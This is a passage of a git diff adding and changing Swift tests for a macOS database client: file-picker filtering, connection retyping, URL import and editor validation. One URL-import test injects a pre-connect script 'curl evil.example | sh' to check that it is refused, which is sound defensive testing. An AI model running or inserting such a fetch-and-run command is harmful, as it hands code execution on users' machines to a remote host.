nil + }, + isReadable: { _ in + reads.withLock { $0 += 1 } + return true + } + ) + let filter = PanelEnableFilter(isEnabled: rule.isEnabled, validate: rule.validate) + let history = try file("History", contents: sqliteHeader) + let link = folder.appendingPathComponent("history-link") + try FileManager.default.createSymbolicLink(at: link, withDestinationURL: history) + let candidates = [ + history, + link, + try file("app.db"), + try file("tiles.mbtiles"), + try file("notes", contents: Data("hello".utf8)), + try file("photo.png"), + ] + + let enabled = candidates.map { filter.panel(NSObject(), shouldEnable: $0) } + + #expect(enabled == [true, true, true, true, true, false]) + #expect(reads.withLock { $0 } == 0) + } + + @Test("A pick is read once chosen: one that is no SQLite database is refused by name, a database is not") + func validateReadsThePick() throws { + let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) + let filter = PanelEnableFilter(isEnabled: rule.isEnabled, validate: rule.validate) + let notes = try file("notes", contents: Data("hello".utf8)) + let photo = try file("photo.png", contents: Data([0x89, 0x50, 0x4E, 0x47])) + let history = try file("History", contents: sqliteHeader) + let named = try file("app.db", contents: Data("written later".utf8)) + + for refused in [notes, photo] { + do { + try filter.panel(NSObject(), validate: refused) + Issue.record("\(refused.lastPathComponent) must be refused") + } catch { + #expect(error.localizedDescription.contains(refused.lastPathComponent)) + } + } + try filter.panel(NSObject(), validate: history) + try filter.panel(NSObject(), validate: named) + } + + @Test("A pick whose bytes are not on this Mac yet is let through for the driver to judge") + func unreadablePickIsLetThrough() throws { + let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions, classify: { _ in nil }, isReadable: { _ in false }) - #expect(rule.isEnabled(try file("History", contents: sqliteHeader)), "A browser history file is SQLite") - #expect(rule.isEnabled(try file("tiles.mbtiles", contents: sqliteHeader))) - #expect(rule.isEnabled(try file("map.gpkg", contents: sqliteHeader))) + try rule.validate(try file("Archive")) } - @Test("A file on this Mac's own disk is read, and a missing one is not") + @Test("A file on this Mac's own disk is read, and a missing or empty one is not") func onlyLocalFilesAreRead() throws { - #expect(PanelEnableFilter.isQuickToRead(try file("local.bin"))) - #expect(!PanelEnableFilter.isQuickToRead(folder.appendingPathComponent("absent.bin"))) + #expect(DatabaseFileClassifier.isReadableWithoutWaiting(try file("local.bin"))) + #expect(!DatabaseFileClassifier.isReadableWithoutWaiting(folder.appendingPathComponent("absent.bin"))) + #expect(!DatabaseFileClassifier.isReadableWithoutWaiting(try file("empty.db", contents: Data()))) + } + + // The panel asks on the main thread; a FIFO blocks open() until a writer appears, which froze the app. + @Test("A FIFO, named like a database or not, is dimmed at once and never opened") + func fifoIsDimmedWithoutBlocking() async throws { + let named = try fifo("pipe.db") + let bare = try fifo("pipe") + let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) + + let answers = await BoundedCall.resultOnItsOwnThread(within: .seconds(5)) { + [rule.isEnabled(named), rule.isEnabled(bare), DatabaseFileClassifier.isReadableWithoutWaiting(bare)] + } + #expect(answers == [false, false, false]) + + let classified = await BoundedCall.resultOnItsOwnThread(within: .seconds(5)) { + let candidates = ["SQLite": [DatabaseFileSignature.magic("SQLite format 3\u{0}")]] + return [ + DatabaseFileClassifier.classify(bare, candidates: candidates, access: .withoutWaiting), + DatabaseFileClassifier.classify(bare, candidates: candidates, access: .mayWait), + ] + } + #expect(classified == [nil, nil]) + + try #require(answers != nil, "The rule blocked, so asking the filter on the main thread would hang") + let filter = PanelEnableFilter(isEnabled: rule.isEnabled) + #expect(!filter.panel(NSObject(), shouldEnable: named)) + #expect(!filter.panel(NSObject(), shouldEnable: bare)) + } + + @Test("A SQLite file read without waiting is still identified by its bytes") + func localDatabaseIsReadWithoutWaiting() throws { + let candidates = ["SQLite": [DatabaseFileSignature.magic("SQLite format 3\u{0}")]] + let database = try file("History", contents: sqliteHeader) + #expect(DatabaseFileClassifier.classify(database, candidates: candidates, access: .withoutWaiting) == .sqlite) + } + + private func fifo(_ name: String) throws -> URL { + let url = folder.appendingPathComponent(name) + try #require(mkfifo(url.path, 0o600) == 0) + return url } - @Test("A file of some other kind stays disabled") + @Test("A file whose name says it is another kind stays disabled; one whose name hides it is refused once picked") func otherFilesStayDisabled() throws { let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) + let notes = try file("notes", contents: Data("hello".utf8)) #expect(!rule.isEnabled(try file("photo.png"))) - #expect(!rule.isEnabled(try file("notes", contents: Data("hello".utf8)))) + #expect(!rule.isEnabled(try file("readme.txt"))) + #expect(rule.isEnabled(notes)) + #expect(throws: (any Error).self) { try rule.validate(notes) } } - @Test("A file another driver wrote stays disabled") + @Test("A file another driver wrote is dimmed by its extension, and refused once picked under another name") func anotherDriversFileStaysDisabled() throws { - let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) { _ in .duckdb } + let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions, otherDriversExtensions: ["duckdb"]) { _ in .duckdb } + let warehouse = try file("warehouse") - #expect(!rule.isEnabled(try file("warehouse"))) + #expect(!rule.isEnabled(try file("warehouse.duckdb"))) + #expect(rule.isEnabled(warehouse)) + #expect(throws: (any Error).self) { try rule.validate(warehouse) } } @Test("Folders stay enabled so the panel can be navigated") @@ -97,7 +218,7 @@ struct DatabaseFilePanelTests { } @Test("A symlink to a SQLite file with no extension is enabled by the file it names") - func linkedDatabaseIsReadThroughTheLink() throws { + func linkedDatabaseIsEnabledThroughTheLink() throws { let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) let filter = PanelEnableFilter(isEnabled: rule.isEnabled) let target = try file("History", contents: sqliteHeader) @@ -145,6 +266,23 @@ struct DatabaseFilePanelTests { #expect(!rule.isEnabled(try file("photo.png"))) } + // MARK: - File > Open File… + + @Test("Open File… dims by name only and reads a file whose name says nothing once it is picked") + func openFilePanelReadsOnlyThePick() throws { + let history = try file("History", contents: sqliteHeader) + let notes = try file("notes", contents: Data("hello".utf8)) + let script = try file("report.sql", contents: Data("select 1;".utf8)) + + #expect(FileOpenPanel.isOpenable(history)) + #expect(FileOpenPanel.isOpenable(notes)) + #expect(FileOpenPanel.isOpenable(script)) + #expect(!FileOpenPanel.isOpenable(try file("photo.png"))) + try FileOpenPanel.validate(history) + try FileOpenPanel.validate(script) + #expect(throws: (any Error).self) { try FileOpenPanel.validate(notes) } + } + // MARK: - New… @Test("An empty field suggests Untitled with the driver's preferred extension") diff --git a/apple/TableProTests/Views/ConnectionForm/EndpointHostListFormTests.swift b/apple/TableProTests/Views/ConnectionForm/EndpointHostListFormTests.swift deleted file mode 100644 index 66e27e8270..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/EndpointHostListFormTests.swift +++ /dev/null @@ -1,148 +0,0 @@ -// -// EndpointHostListFormTests.swift -// TableProTests -// - -import Foundation -@testable import TablePro -import TableProPluginKit -import Testing - -@MainActor -struct EndpointHostListFormTests { - private func loaded(_ connection: DatabaseConnection) -> NetworkPaneViewModel { - let viewModel = NetworkPaneViewModel() - viewModel.load(from: connection) - return viewModel - } - - private func coordinator(type: DatabaseType, fields: [String: String]) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.name = "cluster" - coordinator.network.type = type - coordinator.network.additionalFieldValues = fields - return coordinator - } - - private func edits(type: DatabaseType, fields: [String: String]) -> ConnectionFormEdits { - coordinator(type: type, fields: fields).buildEdits() - } - - @Test("An Elasticsearch connection saved with Host and Port opens with them as its node list") - func elasticsearchSeedsFromHostAndPort() { - let viewModel = loaded(DatabaseConnection(name: "es", host: "es1.example", port: 9_201, type: .elasticsearch)) - #expect(viewModel.additionalFieldValues["esHosts"] == "es1.example:9201") - } - - @Test("A Kafka connection opens with the broker it dials, not a blank list") - func kafkaSeedsFromHostAndPort() { - let viewModel = loaded(DatabaseConnection(name: "k", host: "broker1.example", port: 9_092, type: .kafka)) - #expect(viewModel.additionalFieldValues["kafkaBootstrapServers"] == "broker1.example:9092") - } - - @Test("A Kafka list saved as extra brokers shows the hidden Host as its last row") - func kafkaLegacyListKeepsHost() { - let viewModel = loaded(DatabaseConnection( - name: "k", - host: "broker1.example", - port: 9_092, - type: .kafka, - additionalFields: ["kafkaBootstrapServers": "b2.example:9092"] - )) - #expect(viewModel.additionalFieldValues["kafkaBootstrapServers"] == "b2.example:9092,broker1.example:9092") - } - - @Test("A Host the form filled in while it was hidden is not added to a saved list") - func defaultHostStaysOut() { - let viewModel = loaded(DatabaseConnection( - name: "es", - host: "localhost", - port: 9_200, - type: .elasticsearch, - additionalFields: ["esHosts": "es1.example:9200,es2.example:9200"] - )) - #expect(viewModel.additionalFieldValues["esHosts"] == "es1.example:9200,es2.example:9200") - } - - @Test("A legacy Kafka broker on localhost with its own port stays in the list") - func legacyLocalhostOnOtherPortStays() { - let viewModel = loaded(DatabaseConnection( - name: "k", - host: "localhost", - port: 9_093, - type: .kafka, - additionalFields: ["kafkaBootstrapServers": "broker2.example:9092"] - )) - #expect(viewModel.additionalFieldValues["kafkaBootstrapServers"] == "broker2.example:9092,localhost:9093") - } - - @Test("Clearing every row connects to the placeholder, not the Host the list hid") - func clearedListUsesDefaults() { - let form = coordinator(type: .elasticsearch, fields: ["esHosts": " , "]) - form.network.host = "old.example" - form.network.port = "9300" - let result = form.buildEdits() - #expect(result.host == "localhost") - #expect(result.port == 9_200) - #expect(result.additionalFields["esHosts"] == "") - } - - @Test("Redis lists belong to one mode and are never seeded from Host") - func redisListsAreNotSeeded() { - let viewModel = loaded(DatabaseConnection(name: "r", host: "cache.example", port: 6_379, type: .redis)) - #expect((viewModel.additionalFieldValues["redisClusterHosts"] ?? "").isEmpty) - #expect((viewModel.additionalFieldValues["redisSentinelHosts"] ?? "").isEmpty) - } - - @Test("Saving pasted node URLs stores host:port entries and takes Host and Port from the first") - func elasticsearchSaveNormalizesNodes() { - let result = edits( - type: .elasticsearch, - fields: ["esHosts": "https://111.111.111.111:9200,https://111.111.111.112:9200,https://[fd00::3]:9200"] - ) - #expect(result.additionalFields["esHosts"] == "111.111.111.111:9200,111.111.111.112:9200,[fd00::3]:9200") - #expect(result.host == "111.111.111.111") - #expect(result.port == 9_200) - } - - @Test("A blank row is dropped, not saved as localhost") - func blankRowIsDropped() { - let result = edits(type: .mongodb, fields: ["mongoHosts": ",a.example:27017, ,b.example"]) - #expect(result.additionalFields["mongoHosts"] == "a.example:27017,b.example:27017") - #expect(result.host == "a.example") - #expect(result.port == 27_017) - } - - @Test("A row that is not a host blocks Save instead of being dropped") - func invalidRowIsAnIssue() { - let issues = coordinator(type: .elasticsearch, fields: ["esHosts": "es1:9200,es2:abc"]).network.validationIssues - #expect(issues.count == 1) - #expect(issues.first?.contains("es2:abc") == true) - } - - @Test("An https:// node needs SSL turned on, or its credentials would go over plain HTTP") - func httpsNodeNeedsSSL() { - let form = coordinator(type: .elasticsearch, fields: ["esHosts": "https://10.0.0.1:9200"]) - form.ssl.select(.disabled) - #expect(form.network.validationIssues.contains { $0.contains("https://10.0.0.1:9200") }) - - form.ssl.select(.required) - #expect(form.network.validationIssues.isEmpty) - } - - @Test("Switching another type's Host to Elasticsearch carries it into the node list") - func typeChangeSeedsTheList() { - let form = ConnectionFormCoordinator(connectionId: nil) - form.start() - form.network.host = "db.example" - form.network.setType(.elasticsearch) - #expect(form.network.additionalFieldValues["esHosts"] == "db.example:9200") - } - - @Test("Kafka Host and Port follow the first bootstrap server") - func kafkaHostFollowsFirstServer() { - let result = edits(type: .kafka, fields: ["kafkaBootstrapServers": "b1.example:9093,b2.example:9092"]) - #expect(result.host == "b1.example") - #expect(result.port == 9_093) - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftRetypeTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftRetypeTests.swift new file mode 100644 index 0000000000..762cd330a7 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftRetypeTests.swift @@ -0,0 +1,116 @@ +// +// ConnectionDraftRetypeTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionDraftRetypeTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func mysqlDraft() -> ConnectionDraft { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.name = "Shop" + draft.environment = .staging + draft.host = "db.example.com" + draft.setPort("3307", traits: mysql) + draft.database = "shop" + draft.credentials.username = "admin" + draft.credentials.password = "hunter2" + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + draft.selectSSLMode(.required) + draft.ssl.clientCertPath = "/client.pem" + draft.ssl.clientKeyPath = "/client.key" + draft.appearance.color = .blue + return draft + } + + @Test("MySQL to MariaDB keeps host, a custom port, the database, the credentials, SSH and SSL") + func networkRetypeKeepsWhatTheNewTypeSupports() { + let proposal = mysqlDraft().retyped(to: traits(.mariadb), from: traits(.mysql)) + let result = proposal.result + #expect(result.type == .mariadb) + #expect(result.name == "Shop") + #expect(result.environment == .staging) + #expect(result.host == "db.example.com") + #expect(result.portText == "3307") + #expect(result.database == "shop") + #expect(result.credentials.username == "admin") + #expect(result.credentials.password == "hunter2") + #expect(result.transport == .ssh) + #expect(result.ssh.host == "bastion.example.com") + #expect(result.ssl.mode == .required) + #expect(result.ssl.clientCertPath == "/client.pem") + #expect(result.appearance.color == .blue) + #expect(!proposal.needsConfirmation) + } + + @Test("A port equal to the old type's default becomes the new type's default") + func defaultPortFollowsTheType() { + let mysql = traits(.mysql) + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + #expect(draft.portText == String(mysql.defaultPort)) + draft.retype(to: postgres, from: mysql) + #expect(draft.portText == String(postgres.defaultPort)) + } + + @Test("A file type drops the password prompt and the credential profile, and says so") + func fileTypeDropsAuthentication() { + var draft = mysqlDraft() + draft.setPasswordPrompt(true, traits: traits(.mysql)) + draft.setCredentialMode(.profile(id: UUID())) + let proposal = draft.retyped(to: traits(.sqlite), from: traits(.mysql)) + let result = proposal.result + #expect(!result.credentials.promptsForPassword) + #expect(result.credentials.mode == .inline) + #expect(result.credentials.password.isEmpty) + #expect(result.database.isEmpty) + #expect(result.transport == nil) + #expect(!ConnectionEditorEngine.effectivePromptForPassword(result, traits(.sqlite))) + #expect(proposal.needsConfirmation) + #expect(proposal.dropped.contains(String(localized: "Credential Profile"))) + #expect(proposal.dropped.contains(String(localized: "Database"))) + #expect(proposal.dropped.contains(ConnectionTunnelKind.ssh.displayName)) + } + + @Test("Every plugin default of the new type is seeded, in every section") + func newTypeDefaultsAreSeeded() { + let duckdb = traits(.duckdb) + let draft = mysqlDraft().retyped(to: duckdb, from: traits(.mysql)).result + for field in duckdb.fields { + guard let defaultValue = field.defaultValue else { continue } + #expect(draft.fieldValues[field.id] == defaultValue, "\(field.id)") + } + } + + @Test("A new connection seeds the defaults of every section once") + func newDraftSeedsEverySection() { + let duckdb = traits(.duckdb) + let draft = ConnectionDraft.new(type: .duckdb, traits: duckdb) + for field in duckdb.fields { + guard let defaultValue = field.defaultValue else { continue } + #expect(draft.fieldValues[field.id] == defaultValue, "\(field.id)") + } + } + + @Test("A chosen SSL mode the new type's tunnel refuses falls back to the type's own resolution") + func refusedSSLModeIsNotKept() { + var mssql = traits(.mssql) + mssql.ssl.modesThroughTunnel = [.disabled, .preferred, .required] + var draft = mysqlDraft() + draft.selectSSLMode(.verifyIdentity) + let result = draft.retyped(to: mssql, from: traits(.mysql)).result + #expect(result.transport == .ssh) + #expect(result.ssl.mode != .verifyIdentity) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift new file mode 100644 index 0000000000..97b14be20f --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift @@ -0,0 +1,185 @@ +// +// ConnectionDraftURLImportTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionDraftURLImportTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func parse(_ url: String) throws -> ParsedConnectionURL { + try ConnectionURLParser.parse(url).get() + } + + @Test("env= sets the environment, not a tag") + func envSetsEnvironment() throws { + let parsed = try parse("postgresql://app@db.example.com/orders?env=production") + #expect(parsed.environment == .production) + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.apply(parsed, traits: postgres, policy: .newConnection) + #expect(draft.environment == .production) + #expect(draft.appearance.tagIds.isEmpty) + #expect(draft.safety.safeModeLevel == .alert) + } + + @Test("Environment names map to the four environments and nothing else") + func environmentNames() { + #expect(ConnectionURLParser.environment(named: "Prod") == .production) + #expect(ConnectionURLParser.environment(named: "staging") == .staging) + #expect(ConnectionURLParser.environment(named: "dev") == .development) + #expect(ConnectionURLParser.environment(named: "local") == .local) + #expect(ConnectionURLParser.environment(named: "qa-eu") == nil) + } + + @Test("A new connection takes the whole URL: name, Safe Mode, TLS off, raw driver options") + func newConnectionTakesEverything() throws { + let parsed = try parse("postgresql://app:pw@db.example.com:6543/orders?name=Orders&sslmode=disable&safemodelevel=0") + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.apply(parsed, traits: postgres, policy: .newConnection) + #expect(draft.name == "Orders") + #expect(draft.host == "db.example.com") + #expect(draft.portText == "6543") + #expect(draft.database == "orders") + #expect(draft.credentials.username == "app") + #expect(draft.credentials.password == "pw") + #expect(draft.ssl.mode == .disabled) + } + + @Test("A paste into a saved connection never renames, lowers Safe Mode or weakens TLS") + func existingConnectionIsGuarded() throws { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.name = "Production Orders" + draft.safety.safeModeLevel = .safeMode + draft.safety.userSetSafeMode = true + draft.selectSSLMode(.verifyIdentity) + let parsed = try parse("postgresql://app@db2.example.com/orders?name=Other&sslmode=disable&safemodelevel=0") + draft.apply(parsed, traits: postgres, policy: .existingConnection) + #expect(draft.name == "Production Orders") + #expect(draft.safety.safeModeLevel == .safeMode) + #expect(draft.ssl.mode == .verifyIdentity) + #expect(draft.host == "db2.example.com") + } + + @Test("A paste into a saved etcd connection keeps its TLS verification, and a stricter URL still raises it") + func existingEtcdKeepsTLSVerification() throws { + let etcd = traits(.etcd) + var draft = ConnectionDraft.new(type: .etcd, traits: etcd) + draft.fieldValues["etcdTlsMode"] = "VerifyIdentity" + draft.apply(try parse("etcd://etcd2.example.com:2379"), traits: etcd, policy: .existingConnection) + #expect(draft.fieldValues["etcdTlsMode"] == "VerifyIdentity") + #expect(draft.host == "etcd2.example.com") + + draft.fieldValues["etcdTlsMode"] = "Required" + draft.apply(try parse("etcds://etcd2.example.com:2379?sslmode=verify-full"), traits: etcd, policy: .existingConnection) + #expect(draft.fieldValues["etcdTlsMode"] == "VerifyIdentity") + + var fresh = ConnectionDraft.new(type: .etcd, traits: etcd) + fresh.fieldValues["etcdTlsMode"] = "VerifyIdentity" + fresh.apply(try parse("etcd://etcd2.example.com:2379"), traits: etcd, policy: .newConnection) + #expect(fresh.fieldValues["etcdTlsMode"] == "Disabled") + } + + @Test("A paste into a saved DuckDB connection keeps its pinned certificate") + func existingDuckDBKeepsPin() throws { + let duckdb = traits(.duckdb) + var draft = ConnectionDraft.new(type: .duckdb, traits: duckdb) + draft.fieldValues["duckdbMode"] = "remote" + draft.fieldValues["duckdbHost"] = "quack.example.com" + draft.fieldValues["duckdbSSLMode"] = "verifyFingerprint" + draft.fieldValues["duckdbCertificateFingerprint"] = "AB:CD:EF" + + for url in ["quack://quack2.example.com:9494/remotedb", "quack://quack2.example.com:9494/remotedb?sslmode=verify-full"] { + var pasted = draft + pasted.apply(try parse(url), traits: duckdb, policy: .existingConnection) + #expect(pasted.fieldValues["duckdbSSLMode"] == "verifyFingerprint", "\(url)") + #expect(pasted.fieldValues["duckdbCertificateFingerprint"] == "AB:CD:EF", "\(url)") + #expect(pasted.fieldValues["duckdbHost"] == "quack2.example.com", "\(url)") + } + } + + @Test("A paste into a saved connection adds no raw driver options") + func existingConnectionGetsNoRawOptions() throws { + let mongo = traits(.mongodb) + let parsed = try parse("mongodb://db.example.com/app?tlsInsecure=true&directConnection=true") + var existing = ConnectionDraft.new(type: .mongodb, traits: mongo) + existing.apply(parsed, traits: mongo, policy: .existingConnection) + #expect(!existing.fieldValues.keys.contains { $0.hasPrefix("mongoParam_") }) + + var fresh = ConnectionDraft.new(type: .mongodb, traits: mongo) + fresh.apply(parsed, traits: mongo, policy: .newConnection) + #expect(fresh.fieldValues["mongoParam_tlsInsecure"] == "true") + } + + @Test("Typing a URL one character at a time never fills the form; a paste does") + func onlyAPasteTriggers() { + let url = "postgresql://app@db.example.com/orders" + var typed = "" + for character in url { + let next = typed + String(character) + #expect(ConnectionEditorStore.pastedURL(replacing: typed, with: next) == nil, "\(next)") + typed = next + } + #expect(ConnectionEditorStore.pastedURL(replacing: "", with: url) == url) + #expect(ConnectionEditorStore.pastedURL(replacing: "db", with: "not a url at all") == nil) + } + + @Test("A URL import never carries an app-managed key such as a script") + func appManagedKeysAreRefused() throws { + let parsed = try parse("postgresql://db.example.com/orders") + let injected = ParsedConnectionURL( + type: parsed.type, host: parsed.host, port: parsed.port, database: parsed.database, + username: parsed.username, password: parsed.password, sslMode: parsed.sslMode, + disablesTLS: parsed.disablesTLS, authSource: nil, sshHost: nil, sshPort: nil, sshUsername: nil, + sshPassword: nil, usePrivateKey: nil, useSSHAgent: nil, sshNoAuth: nil, agentSocket: nil, + connectionName: nil, redisDatabase: nil, statusColor: nil, envTag: nil, schema: nil, tableName: nil, + isView: false, filterColumn: nil, filterOperation: nil, filterValue: nil, filterCondition: nil, + oracleServiceName: nil, safeModeLevel: nil, useSrv: false, mongoQueryParams: [:], multiHost: nil, + additionalFields: ["preConnectScript": "curl evil.example | sh", "promptForPassword": "true"] + ) + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.apply(injected, traits: postgres, policy: .newConnection) + #expect(draft.fieldValues["preConnectScript"] == nil) + #expect(draft.options.preConnectScript.isEmpty) + let edits = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()) + #expect(edits.additionalFields["preConnectScript"] == nil) + #expect(edits.tunnelCommandMode == .disabled) + #expect(edits.startupCommands == nil) + } + + @Test("Production picks Alert until the user sets Safe Mode; back to Development returns the default") + func productionDefaultsSafeMode() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.setEnvironment(.production) + #expect(draft.safety.safeModeLevel == .alert) + draft.setEnvironment(.development) + #expect(draft.safety.safeModeLevel == .silent) + + draft.setEnvironment(.production) + draft.setSafeModeLevel(.safeMode, floor: nil) + draft.setEnvironment(.development) + #expect(draft.safety.safeModeLevel == .safeMode) + } + + @Test("A loaded connection keeps its Safe Mode when the environment changes") + func loadedConnectionKeepsSafeMode() { + let postgres = traits(.postgresql) + var connection = DatabaseConnection(name: "Orders", type: .postgresql) + connection.preferredSafeModeLevel = .silent + var draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: postgres) + draft.setEnvironment(.production) + #expect(draft.safety.safeModeLevel == .silent) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineAdvancedTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineAdvancedTests.swift new file mode 100644 index 0000000000..ca92f6fc4c --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineAdvancedTests.swift @@ -0,0 +1,125 @@ +// +// ConnectionEditorEngineAdvancedTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineAdvancedTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func loaded(_ connection: DatabaseConnection) -> ConnectionDraft { + ConnectionDraft.loaded(from: connection, secrets: .none, traits: traits(connection.type)) + } + + private func sqliteWithExtensionList() throws -> ConnectionTypeTraits { + let sqlite = traits(.sqlite) + try #require(sqlite.fields.contains { $0.content == .loadableExtensions }) + return sqlite + } + + private func redisWithAdvancedIndex() throws -> ConnectionTypeTraits { + let redis = traits(.redis) + try #require(redis.fields.contains { $0.id == "redisDatabase" && $0.section == .advanced }) + return redis + } + + @Test("Loads external access from the connection") + func loadsExternalAccessFromConnection() { + let draft = loaded(DatabaseConnection(name: "Test", externalAccess: .readWrite)) + #expect(draft.ai.externalAccess == .readWrite) + } + + @Test("Does not leak external access into plugin additional fields") + func doesNotWriteExternalAccessIntoAdditionalFields() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.ai.externalAccess = .readWrite + + let edits = ConnectionEditorEngine.edits(draft, mysql, originalTraits: nil, EditorContext()) + + #expect(edits.externalAccess == .readWrite) + #expect(edits.additionalFields["externalAccess"] == nil) + } + + @Test("Lists the connection's always-allowed tools in name order with nothing forgotten") + func loadsAlwaysAllowedTools() { + let draft = loaded(DatabaseConnection(name: "Staging", aiAlwaysAllowedTools: ["list_tables", "execute_query"])) + + #expect(draft.ai.alwaysAllowedTools == ["execute_query", "list_tables"]) + #expect(draft.ai.revokedTools.isEmpty) + } + + @Test("Forget takes a tool off the list and into the revoked set, and loading again drops it") + func forgetMovesAToolIntoTheRevokedSet() { + let connection = DatabaseConnection(name: "Staging", aiAlwaysAllowedTools: ["list_tables", "execute_query"]) + var draft = loaded(connection) + + draft.forgetAlwaysAllowed("execute_query") + + #expect(draft.ai.alwaysAllowedTools == ["list_tables"]) + #expect(draft.ai.revokedTools == ["execute_query"]) + + draft = loaded(connection) + + #expect(draft.ai.alwaysAllowedTools == ["execute_query", "list_tables"]) + #expect(draft.ai.revokedTools.isEmpty) + } + + @Test("Shows a Redis database index saved as db4 as the number the stepper takes") + func loadsDbPrefixedRedisIndexAsANumber() throws { + let redis = try redisWithAdvancedIndex() + let connection = DatabaseConnection(name: "cache", type: .redis, additionalFields: ["redisDatabase": "db4"]) + + let draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: redis) + + #expect(draft.fieldValues["redisDatabase"] == "4") + } + + @Test("Shows the Redis database a synced connection names when no index was saved") + func loadsRedisIndexFromTheDatabaseName() throws { + let redis = try redisWithAdvancedIndex() + let connection = DatabaseConnection(name: "cache", database: "db7", type: .redis) + + let draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: redis) + + #expect(draft.fieldValues["redisDatabase"] == "7") + } + + @Test("The Extensions list is its own section, not a row among the driver options") + func extensionFieldIsNotADriverRow() throws { + let sqlite = try sqliteWithExtensionList() + let draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) + let advanced = try #require(ConnectionEditorEngine.layout(draft, sqlite, EditorContext()).facet(.advanced)) + let extensionRow = EditorRow.plugin(fieldID: LoadableExtensionList.fieldId) + + let section = try #require(advanced.section(containing: extensionRow)) + #expect(section.id == "extensions-\(LoadableExtensionList.fieldId)") + #expect(section.rows == [extensionRow]) + #expect(advanced.sections.first { $0.id == "driver" }?.rows.contains(extensionRow) != true) + } + + @Test("An invalid list blocks saving with the reason") + func invalidListIsAValidationIssue() throws { + let sqlite = try sqliteWithExtensionList() + var draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) + draft.setFieldValue( + LoadableExtensionList.encode([LoadableExtension(path: "vec0.dylib")]), + for: LoadableExtensionList.fieldId + ) + + let issue = ConnectionEditorEngine.issues(draft, sqlite, EditorContext()) + .first { $0.row == .plugin(fieldID: LoadableExtensionList.fieldId) } + + #expect(issue?.message.contains("vec0.dylib") == true) + #expect(issue?.facet == .advanced) + #expect(issue?.blocksSave == true) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineDatabaseFieldTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineDatabaseFieldTests.swift new file mode 100644 index 0000000000..82fc5e983b --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineDatabaseFieldTests.swift @@ -0,0 +1,122 @@ +// +// ConnectionEditorEngineDatabaseFieldTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +// The editor must never require a database value it does not render, and must agree with the catalog adoption. +@MainActor +struct ConnectionEditorEngineDatabaseFieldTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func newDraft(_ type: DatabaseType, name: String = "") -> ConnectionDraft { + var draft = ConnectionDraft.new(type: type, traits: traits(type)) + draft.name = name + return draft + } + + private func rendersDatabase(_ type: DatabaseType) -> Bool { + let traits = traits(type) + let layout = ConnectionEditorEngine.layout(newDraft(type), traits, EditorContext()) + let rendered = layout.contains(.builtIn(.database)) + #expect(rendered == traits.showsBuiltInDatabaseField, "\(type.rawValue)") + return rendered + } + + // The built-in rows of General's identity and connection sections, the ones the old Network pane validated. + private func connectionIssues(_ draft: ConnectionDraft) -> [FieldIssue] { + let traits = traits(draft.type) + let layout = ConnectionEditorEngine.layout(draft, traits, EditorContext()) + let rows = (layout.facet(.general)?.sections ?? []) + .filter { $0.id == "identity" || $0.id == "connection" } + .flatMap(\.rows) + .filter { $0.pluginFieldID == nil } + return 